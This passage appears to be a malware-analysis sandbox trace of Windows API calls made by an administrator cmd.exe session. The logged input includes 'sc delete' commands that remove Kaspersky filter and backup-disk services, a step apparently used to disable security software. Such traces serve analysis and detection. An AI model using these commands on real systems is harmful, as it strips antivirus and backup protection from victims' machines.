Size=0xb0e) returned 0x1cba90 [0067.634] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.634] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0067.634] GetProcessHeap () returned 0x1b0000 [0067.634] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0067.634] GetEnvironmentStringsW () returned 0x1d1b10* [0067.634] GetProcessHeap () returned 0x1b0000 [0067.634] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0067.634] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.634] GetProcessHeap () returned 0x1b0000 [0067.634] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0067.634] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0067.634] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0067.636] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.636] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0067.636] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.636] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0067.636] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.636] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0067.636] GetConsoleOutputCP () returned 0x1b5 [0067.636] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.637] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.637] GetProcessHeap () returned 0x1b0000 [0067.637] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0067.637] GetProcessHeap () returned 0x1b0000 [0067.637] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0067.637] GetProcessHeap () returned 0x1b0000 [0067.637] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0067.637] GetProcessHeap () returned 0x1b0000 [0067.637] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0067.637] GetProcessHeap () returned 0x1b0000 [0067.637] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0067.637] GetProcessHeap () returned 0x1b0000 [0067.637] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0067.637] GetProcessHeap () returned 0x1b0000 [0067.637] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0067.637] GetProcessHeap () returned 0x1b0000 [0067.637] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0067.637] GetProcessHeap () returned 0x1b0000 [0067.637] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0067.637] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0067.637] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.637] GetFileType (hFile=0x120) returned 0x3 [0067.637] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.637] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0067.637] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0067.637] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0067.638] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.638] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0067.638] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0067.638] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.638] GetFileType (hFile=0x120) returned 0x3 [0067.638] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.638] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0067.638] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0067.638] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.638] GetFileType (hFile=0xb8) returned 0x3 [0067.638] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.638] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.638] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.638] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.638] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.638] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.638] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.638] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.638] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.638] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.638] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.639] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.639] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.639] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.639] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.639] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.639] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.639] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.639] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.639] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.639] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.639] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.639] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.639] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.639] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.639] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.639] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.639] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.639] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.639] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.639] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.639] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.639] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.639] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.639] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.640] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.640] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.640] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.640] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.640] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.640] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.640] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.640] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.640] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.640] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.640] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.640] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.640] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="lflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.640] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.640] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.640] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.640] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="blt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.640] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.640] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.640] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.640] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="at\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.640] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.640] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.640] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.640] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="c\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.640] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.641] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.641] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.641] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="k.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.641] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.641] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.641] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.641] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="u0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.641] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.641] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.641] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.641] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="p.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.641] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.641] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.641] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.641] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="d0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.641] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.641] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.641] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.641] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="i\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.641] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.641] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.641] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.641] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="s\nx64-9.4\"\n\nA\"\n") returned 1 [0067.641] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.641] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.641] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.642] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="kx64-9.4\"\n\nA\"\n") returned 1 [0067.642] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.642] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.642] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.642] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="\n64-9.4\"\n\nA\"\n") returned 1 [0067.642] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.642] GetFileType (hFile=0xb8) returned 0x3 [0067.642] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.642] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.642] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.642] GetFileType (hFile=0x120) returned 0x3 [0067.642] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.642] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klbackupdisk\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klbackupdisk\n", lpUsedDefaultChar=0x0) returned 24 [0067.642] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x17, lpOverlapped=0x0) returned 1 [0067.642] GetProcessHeap () returned 0x1b0000 [0067.642] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0067.642] GetProcessHeap () returned 0x1b0000 [0067.642] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0067.642] GetProcessHeap () returned 0x1b0000 [0067.642] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0067.642] GetProcessHeap () returned 0x1b0000 [0067.642] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0067.642] GetProcessHeap () returned 0x1b0000 [0067.642] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3a) returned 0x1caa40 [0067.642] GetConsoleOutputCP () returned 0x1b5 [0067.643] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.643] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.643] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.643] GetProcessHeap () returned 0x1b0000 [0067.643] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0067.643] GetProcessHeap () returned 0x1b0000 [0067.643] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x40) returned 0x1caa90 [0067.643] GetProcessHeap () returned 0x1b0000 [0067.643] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0067.643] SetErrorMode (uMode=0x0) returned 0x1 [0067.643] SetErrorMode (uMode=0x1) returned 0x0 [0067.643] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0067.643] SetErrorMode (uMode=0x1) returned 0x1 [0067.643] GetProcessHeap () returned 0x1b0000 [0067.643] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0067.643] GetProcessHeap () returned 0x1b0000 [0067.643] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0067.643] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.644] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.644] GetProcessHeap () returned 0x1b0000 [0067.644] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0067.644] GetProcessHeap () returned 0x1b0000 [0067.644] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0067.644] GetProcessHeap () returned 0x1b0000 [0067.644] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 